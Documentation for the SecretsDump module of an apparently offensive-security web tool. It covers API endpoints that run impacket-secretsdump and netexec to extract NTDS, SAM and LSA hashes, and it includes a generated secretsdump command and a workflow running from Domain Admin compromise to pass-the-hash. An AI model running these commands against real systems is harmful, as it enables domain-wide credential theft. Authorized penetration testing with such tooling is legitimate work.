Skip to main content
SecretsDump provides a unified interface for extracting password hashes from domain controllers and workstations using impacket-secretsdump and netexec. All three authentication methods (password, NTLM hash, Kerberos ccache) are supported. Navigate to DATA → SecretsDump or the dedicated SecretsDump section in the sidebar.
SecretsDump extracts sensitive credentials from live systems. Only use this against systems you are explicitly authorized to test. NTDS dumps may alert EDR/SIEM systems.

​
Dump types

Dump typeToolWhat it extracts
ntdsimpacket-secretsdumpNTDS.dit — all domain user NTLM hashes via DRSUAPI replication
remoteimpacket-secretsdumpSAM/LSA from a remote workstation/server
nxc-samnetexec smb --samSAM hive (local accounts) from one or more targets
nxc-lsanetexec smb --lsaLSA secrets from one or more targets
nxc-ntdsnetexec smb --ntdsNTDS via netexec with DRSUAPI or VSS method
customimpacket-secretsdumpCustom flags passed by the user

​
POST /api/secretsdump/run

Launches a SecretsDump operation asynchronously. 
curl -X POST http://localhost:8000/api/secretsdump/run \
  -H "Content-Type: application/json" \
  -d '{
    "dump_type": "ntds",
    "auth_type": "password",
    "domain": "CORP.LOCAL",
    "username": "administrator",
    "password": "Password123!",
    "dc_ip": "10.10.10.1"
  }'

​
Request parameters

FieldTypeRequiredDescription
dump_typestringYesOne of: ntds, remote, nxc-sam, nxc-lsa, nxc-ntds, custom
auth_typestringNopassword (default), hash, or kerberos
domainstringYesDomain name (e.g. CORP.LOCAL)
usernamestringYesUsername to authenticate with
passwordstringNoPlaintext password (when auth_type=password)
nt_hashstringNoNT hash (when auth_type=hash)
ccache_pathstringNoPath to ccache file (when auth_type=kerberos)
dc_ipstringConditionalDC IP — required for ntds and nxc-ntds
targetstringConditionalTarget IP — required for remote, nxc-sam, nxc-lsa, custom
target_listarrayNoList of IPs for multi-target nxc-sam / nxc-lsa operations
extra_paramsstringNoExtra flags appended to the command (only used with custom dump type)
ntds_methodstringNodrsuapi (default) or vss — applies to nxc-ntds only
ntds_scopestringNoall (default), enabled, or user — applies to nxc-ntds only
ntds_userstringNoSpecific username to dump (when ntds_scope=user)

​
Response

{
  "status": "success",
  "scan_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
  "output_file": "secretsdump_20240115_143200.txt"
}

​
GET /api/secretsdump/output

Retrieve output from a running or completed SecretsDump operation. 
curl "http://localhost:8000/api/secretsdump/output?file=secretsdump_20240115_143200.txt&offset=0"
Query paramDescription
fileFilename returned by the run endpoint
offsetByte offset for incremental reads (default: 0)

​
GET /api/secretsdump/status

Check whether a SecretsDump scan is currently running. 
curl http://localhost:8000/api/secretsdump/status
Returns {"running": true, "scan": {...}} or {"running": false, "scan": null}.

​
Commands generated

impacket-secretsdump CORP.LOCAL/administrator:'Password123!'@10.10.10.1 \
  --just-dc-ntlm -history -user-status -pwd-last-set \
  -outputfile recon/ntds_20240115_143200

​
Output files

PatternContents
recon/secretsdump_<timestamp>.txtFull tool output log
recon/ntds_<timestamp>.ntdsRaw NTDS hashes (ntds dump type only)
recon/ntds_<timestamp>_stripped.ntdsCleaned NTDS file with disabled accounts removed
For ntds dumps, the output file (recon/ntds_<timestamp>.ntds) contains all NTLM hashes in secretsdump format: DOMAIN\user:RID:lmhash:nthash:::. This file can be imported directly into the credentials database via DATA → Credentials → Import from file.

​
Workflow: Full domain dump

1

Obtain DA credentials

Use Kerberoast, ESC1, AS-REP Roast, or another method to obtain Domain Admin credentials. Save them to the credentials database.
2

Run NTDS dump

Open SecretsDump. Select dump type ntds, select your DA credentials from the Saved Credentials dropdown, confirm the DC IP, and click Run.
3

Monitor output

The output panel streams the secretsdump output as it runs. The DRSUAPI replication approach (default) is faster than VSS for most environments.
4

Import hashes

When the scan completes, navigate to DATA → Credentials → Import from file and upload the generated .ntds file. All domain NTLM hashes are imported and available for pass-the-hash attacks.

Build docs developers (and LLMs) love

Get started for freeTalk to us